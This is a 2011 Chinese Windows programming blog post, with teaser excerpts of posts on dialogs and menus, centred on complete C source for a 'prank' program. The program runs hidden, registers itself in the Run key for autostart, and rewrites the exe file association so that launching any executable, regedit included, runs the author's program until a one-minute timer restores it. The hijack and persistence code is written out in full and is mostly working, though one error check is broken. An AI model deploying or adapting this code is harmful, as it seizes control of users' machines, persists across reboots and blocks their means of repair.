2011年7月

点击任意exe文件打开自己程序---SDK实现

前几天想做个玩玩的小程序:点击任意.exe文件,就打开自己的程序。开始的时候还以为会很难,觉得是不是要用钩子之类,抓到我们点击的程序这个事件的地址,然后用汇编指令实现跳转到自己的程序,一看就是跑到系统内部去了。后来才知道可以直接在注册表里面修改下,就能很简单的实现。下面说说思路:

首先注册表是系统的配置文件,很多信息都在这里。比如说点击打开exe文件,其实就是在注册表里面存在一个文件关联。先拿txt举例好了,打开任意一个记事本其实就是关系到注册表中一个指定键的键值,这个键值关联一个程序notepad.exe打开所有txt文件, 我们只需要把那个键值修改成自己程序的路径就OK了。

我做了一个小程序:打开这个程序后,程序设置为隐藏,但能在任务管理器的进程里看见,序实现的功能就是打开任意exe文件都能只能执行我的程序(自己的程序可是能自由发挥的),一分钟之后就会自动关闭,以后开机就会自动启动,这中间打开我们点击任意的exe文件只能打开我们指定的程序,因此连注册表都没办法打开,所以我们只能等程序时间到了自己修改好注册表。这点我们一点要小心,我第一次做实验的时候就不小心把注册表改了,然后regedit.exe又打不开,后来花了好久才知道怎么弄。

具体实现方法:在程序创建的时候就设置一个定时器,在一分钟(自己设置)后就会自动结束。先在开机自启动注册表下面添加我们的程序,这样我们每次开机就能自动允许这个程序,具体的自启动项键值位于(HKEY_LOCAL_MACHINE, "software\Microsoft\Windows\CurrentVersion\Run")下 。其次就是修改exe关联的注册表,键值位于(HKEY_CLASSES_ROOT, "exefile\shell\open\command")下面,将键值修改成自己指定程序的路径就行(这里设置为c:\exe点击.exe),一旦定时器的事件到了,就会自动把注册表修改正常,并且退出程序。

我做这个小玩意的时候遇到几个不顺心的,在win7下面不得不以管理员的权限运行这个程序,否则就无法修改注册表。下面先看看代码

#include <windows.h>

LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;
VOID CALLBACK myTimerProc(HWND hwnd, UINT message, UINT iTimerID, DWORD dwTime );
VOID ChangReg(byte *Str);

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR p_CmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT ("HelloWin") ;
static byte *Str = "c:\exe点击.exe";
static char str[] = "C:\exe点击.exe";
HWND hwnd ;
MSG msg ;
WNDCLASS wndclass ;
HKEY RegKey;
LONG lRetCode;

lRetCode = RegOpenKey(HKEY_LOCAL_MACHINE, "software\Microsoft\Windows\CurrentVersion\Run", &RegKey);
if (lRetCode != ERROR_SUCCESS)
{
MessageBox(NULL, "Error in creating WebSecurity key", "", MB_OK|MB_ICONERROR);
return 0;
}

lRetCode = RegSetValueEx(RegKey, "CtrlServer", 0, REG_SZ,
(byte *)str,
sizeof(str));
if (lRetCode != ERROR_SUCCESS)
{
MessageBox(NULL, "Error in creating WebSecurity key", "", MB_OK);
return 0;
}
RegCloseKey(RegKey);

ChangReg(Str);

wndclass.style = CS_HREDRAW | CS_VREDRAW ;
wndclass.lpfnWndProc = WndProc ;
wndclass.cbClsExtra = 0 ;
wndclass.cbWndExtra = 0 ;
wndclass.hInstance = hInstance ;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION) ;
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ;
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;
wndclass.lpszMenuName = NULL ;
wndclass.lpszClassName = szAppName ;

if (!RegisterClass (&wndclass))
{
MessageBox (NULL, TEXT ("This program requires Windows NT!"),
szAppName, MB_ICONERROR) ;
return 0 ;
}

hwnd = CreateWindow (szAppName, // window class name
TEXT ("The Hello Program"), // window caption
WS_OVERLAPPEDWINDOW, // window style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
CW_USEDEFAULT, // initial x size
CW_USEDEFAULT, // initial y size
NULL, // parent window handle
NULL, // window menu handle
hInstance, // program instance handle
NULL) ; // creation parameters

ShowWindow (hwnd, SW_HIDE) ; //窗口属性设置为隐藏
UpdateWindow (hwnd) ;

while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg) ;
DispatchMessage (&msg) ;
}
return msg.wParam ;
}

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch (message)
{
case WM_CREATE:
SetTimer(NULL,0,1000,myTimerProc);
return 0 ;

case WM_DESTROY:
PostQuitMessage (0) ;
return 0 ;
}
return DefWindowProc (hwnd, message, wParam, lParam) ;
}

VOID CALLBACK myTimerProc(HWND hwnd, UINT message, UINT iTimerID, DWORD dwTime ) //计时器
{
static int iCounter = 60;
iCounter--;

if(iCounter == 0)
{
byte *Str = ""%1" %*";
MessageBox(hwnd,TEXT("Time over!!!!!!"),"",MB_OK);
ChangReg(Str);
exit(1);
}
}

VOID ChangReg(byte *Str) //修改注册表
{
HKEY hKey;
LONG lRetCode;
LPCTSTR data_Set = "exefile\shell\open\command";
long ret0 = 0;
RegOpenKeyEx(HKEY_CLASSES_ROOT,data_Set, 0, KEY_WRITE,&hKey);

if (ret0 != ERROR_SUCCESS)
{
MessageBox(NULL,"OpenKeyEx error!","",MB_OK||MB_ICONERROR);
exit(0) ;
}
lRetCode = RegSetValueEx(hKey, NULL,0, REG_EXPAND_SZ,Str,100);
if (lRetCode != ERROR_SUCCESS)
{
MessageBox(NULL,"Error in setting Section2 value","",MB_OK||MB_ICONERROR);
exit(0) ;
}
RegCloseKey(hKey);
}

你要是想做一个txt文件打开的类似功能,你只需要修改(HKEY_CLASSES_ROOT,"txtfile\shell\open\command")就行了。

但是txt文件要注意你默认选择打开的方式,我曾经修改好了注册表,但打开txt文件的时候却还是正常启动,后来弄了很久我右击,选择打开方式的时候我电脑是没有选择好。

不过在虚拟机里的我的却是OK的。暂时不是很明白。囧······

windows程序设计之对话框简介1

这里先介绍下wParam和lParam,对于鼠标而言,LOWORD(wParam)和HIWORD(wParam)代表鼠标位置x,y坐标,对于菜单和控件而言,两者wParam的低字节都是各自的ID,即LOWORD(wParam)都是ID。两者的高字节对菜单而言是0,对控件而言是消息码(消息码也可能是0)所以不能单凭wParam参数来判断消息是来自于菜单还是来自于控件,但是可以通过lParam来判断,对于菜单而言lParam恒为0,而对于控件而言却是子窗口句柄。因此就可以这样判断:

- 阅读剩余部分 -

windows程序设计之菜单简介

 菜单是很重要的资源,我就大概看了些菜单,总结了下菜单的基本使用。

要引入菜单资源:
Resource Script 资源脚本 添加到工程里面,这里要注意,产生后出现两个文件,这里假设是menu.rc和rescource.h,由于rc是资源文件的
集合,能包含图标,菜单,字符文件资源等等,也可以包含多个菜单。所以你在引用菜单的时候一定要把菜单的名字和你指定的引用的相同,你可以用文本编辑器直接打开.rc文件或者.h文件。菜单的名字以“MenuDemo”为例,要加""。菜单对应的值是操作系统规定的,是101。可以打开.h文件看看.

- 阅读剩余部分 -